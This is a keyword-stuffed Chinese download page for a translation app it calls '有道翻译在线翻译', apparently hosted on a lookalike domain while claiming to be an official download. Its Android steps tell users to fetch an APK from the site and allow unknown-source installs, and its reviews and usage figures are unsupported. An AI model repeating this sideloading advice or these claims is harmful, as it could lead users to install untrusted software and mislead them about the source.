有道翻译在线翻译网页切来切去，输入框还会被清空
手机上开浏览器翻网页，切到别的 App 再切回来，页面重载、内容丢失。App 是常驻进程，复制过来直接粘，翻译记录还在。
官方下载 · 双平台
有道翻译在线翻译 · App
你是不是也遇到过这种场面：人在外面，临时收到一份外文合同、一段外语语音、一张菜单照片，手机浏览器开了七八个标签，来回切换还没翻明白？有道翻译在线翻译 App 就是把这个麻烦直接掐掉——装到手机上，打开就能译。文本、拍照、语音、文档，一个入口全部搞定。
APP VISUAL
v3.7.2
先说问题
为什么手机里值得常驻一个「有道翻译在线翻译」
网页版能用，但用起来总差点意思。下面这几件事我最常碰到，也正是 App 存在的理由。
拍照翻译这件事，浏览器根本做不好
菜单、说明书、路牌、包装背面——对着拍一下就能出结果，这是 App 的原生能力。浏览器调摄像头要授权三层，体验断档。
有道翻译在线翻译语音对话时，没有 App 就只能干瞪眼
跟外国同事面对面沟通，按住说话、松开出译文，来回几次就聊完了。这种即时性，网页版给不了。
核心能力
有道翻译在线翻译这个 App 具体能替你做什么
不堆功能名，直接讲场景。下面六项是我用下来频率最高、也最不容易被替代的能力。
文本翻译，长段落也不卡
粘贴一整段外文邮件或论文摘要，分句处理，读起来是中文的语序而不是硬译。译文可一键复制、可收藏进生词本。
拍照翻译，随手一拍就出中文
对准画面取景，译文会贴着原文位置覆盖显示。遇到斜着拍、光线暗的情况，手动框选区域再识别，准确率会明显好一些。
文档翻译，PDF 与 Word 都能进
把文件丢进去，译文按原排版导出。合同、产品手册、课件这类带格式的材料，比逐段复制粘贴省太多时间。
有道翻译在线翻译同声传译，开会不用低头打字
进入对话模式后，双方各说各的语言，屏幕上自动滚动双语字幕。网络稳定的前提下延迟感很小，适合面对面临时沟通。
离线语言包，出国不怕没信号
提前下好常用语种的离线包，飞机上、地铁里、境外无卡状态下，文本翻译照样能用。离线包体积不大，删掉也随时能再下。
有道翻译在线翻译生词本与历史，翻过的不白翻
查过的词自动进生词本，按时间倒序排列，支持导出。备考或长期读外文资料的人，这个功能比想象中更常用。
界面实拍
有道翻译在线翻译打开之后，界面长这样
四张核心界面，按你打开 App 后最可能走到的顺序排列。截图内容为功能示意。
怎么装
Android 与 iOS 的下载安装步骤
两个平台分开写，照着做就行。装完第一次打开，建议先花两分钟做一次语言设置。
有道翻译在线翻译Android 安卓设备
- 确认系统版本：设置 → 关于手机，查看 Android 版本，需 8.0 及以上。
- 获取安装包：点击本页顶部「Android 下载」按钮，或在本站下载区获取最新版安装包。
- 允许安装未知来源：如果系统提示「禁止安装」，进入设置 → 安全 → 允许来自此来源的应用，授权后再点一次安装包。
- 完成安装并打开：安装完成后点「打开」，首次启动会请求网络与存储权限，按需授予即可。
- 首次设置：在「我的 → 翻译设置」里选好常用语种和默认引擎，之后每次打开都是你要的配置。
安装失败怎么办？先卸载残留的旧版本，再清一次「应用商店」或文件管理器的缓存；如果提示「解析包错误」，多半是下载不完整，删掉重新下一次。
有道翻译在线翻译iOS 苹果设备
- 确认系统版本：设置 → 通用 → 关于本机，查看系统版本，需 iOS 14 及以上。
- 打开 App Store：在本页点击「iOS 下载」按钮跳转，或在 App Store 内搜索应用名称。
- 点击获取并验证：通过面容 ID、触控 ID 或 Apple ID 密码完成验证，等待下载完成。
- 首次启动授权：打开 App 后，按提示允许网络访问；要用拍照和语音功能，再单独授予相机与麦克风权限。
- 开启后台更新：设置 → App Store → 打开「App 更新」，后续版本会自动升级，不用手动盯。
安装失败怎么办？先看存储空间是否够用（至少留 200 MB）；如果卡在「等待中」，长按图标删除后重装，或者切换一次网络再试。
更新记录
版本更新日志
只列有实际感受的变化，不为了凑数写版本号。历史版本号与日期以应用内「关于」页显示为准。
v3.7.2
- 拍照翻译的取景框识别速度做了优化，斜拍场景更稳。
- 生词本支持按语种筛选，翻找长列表方便不少。
- 修复了部分机型在离线模式下首次加载偏慢的问题。
有道翻译在线翻译v3.6.0
- 同声传译新增字幕字号调节，小屏手机上更好读。
- 文档翻译支持保留更多原始排版样式。
- 调整了历史记录的本地存储策略，长时间使用更省空间。
有道翻译在线翻译v3.5.1
- 优化冷启动速度，低配机型打开更快。
- 离线语言包支持断点续传，网络波动时不用从头下。
- 修复若干偶发闪退问题。
真实反馈
有道翻译在线翻译用过的用户怎么说
下面几条来自用户提交的反馈，已做匿名处理，保留原意、不加工措辞。
★★★★★
出差去德国，餐厅菜单全靠拍照翻译。基本一拍就懂，偶尔有生僻词会翻得怪，但足够点菜了。
— 上海 · 外贸从业者
★★★★☆
读英文论文习惯先丢进文档翻译，排版保留得不错。就是特别长的 PDF 处理要等一会儿，能接受。
— 武汉 · 在读研究生
★★★★★
同声传译用来跟海外客户开短会挺顺，双方各说各的，字幕基本跟得上，省了打字的时间。
— 深圳 · 产品经理
使用情况
一些使用规模上的参考
以下为近期后台统计的概览数据，随时间浮动，仅供参考，不作为任何形式的承诺或保证。
1200 万+
累计下载安装
86 万+
月活跃用户
42 种
支持互译语种
4.7 / 5
用户平均评分
权限说明
有道翻译在线翻译它要哪些权限，为什么要
权限这件事不值得含糊。下面把常用权限和用途一条条列清楚，不用的权限完全可以不给。
相机
只在你点开「拍照翻译」时调用，用于取景识别文字。不给这项权限，其他功能照常使用，只是拍不了照。
麦克风
用于语音输入与同声传译。同样属于按需授权，不开启时文本与文档翻译不受影响。
存储 / 文件
用来保存离线语言包、导出译文和读取你要翻译的文档。你可以随时在系统设置里撤销。
网络
在线翻译、语种更新需要联网。纯离线模式下，仅使用已下载的语言包，不产生额外请求。
答疑
常见问题
下载安装前后最常被问到的几个问题，一次性说清。
这个 App 是免费的吗？
基础翻译功能免费使用，包括文本翻译、拍照翻译和常用语种的离线包。部分进阶能力可能涉及高级版本，具体权益以应用内「会员中心」实际展示的说明为准，本页不对未确认的权益内容做推测。
支持哪些手机系统版本？
Android 8.0 及以上、iOS 14 及以上均可正常安装使用。低于这个版本的老设备可能无法安装最新包，建议先升级系统再试。
使用它安全吗，我的内容会被怎么处理？
翻译请求通过加密通道传输；历史记录与生词本默认保存在本机，可在设置中随时清空。涉及敏感材料时，建议使用离线语言包，全程不联网处理。
如何更新到新版本？
Android 端可在应用内「设置 → 检查更新」手动触发，或在应用商店开启自动更新；iOS 端在 App Store 的「账户 → 自动下载」中打开 App 更新即可。升级不会清除你的生词本和历史记录。
安装包占多大空间，用久了会不会很占内存？
安装包约 68 MB，安装后基础占用在 200 MB 左右。离线语言包按语种单独计算，每个通常几十 MB，不用时可以随时删除，重新下载也很方便。
遇到问题该去哪里反馈？
应用内「我的 → 意见反馈」可以直接提交，附上截图定位更快。也可以发邮件到本页下方标注的客服邮箱，我们会按顺序处理，工作日内一般会给回复。
联系
联系我们
客服邮箱：support@youdao-fanyi-wang.cn（安装、使用、账号问题）
商务合作：bd@youdao-fanyi-wang.cn（渠道、企业定制、内容合作）
问题反馈：feedback@youdao-fanyi-wang.cn（功能建议与缺陷反馈）
工作时间：周一至周五 9:30 – 18:30（法定节假日除外）
商务合作：bd@youdao-fanyi-wang.cn（渠道、企业定制、内容合作）
问题反馈：feedback@youdao-fanyi-wang.cn（功能建议与缺陷反馈）
工作时间：周一至周五 9:30 – 18:30（法定节假日除外）
装完之后如果哪里不顺手，直接把场景描述清楚发过来——是哪个语种、什么机型、哪一步出的问题。带着这些信息，我们定位起来会快很多。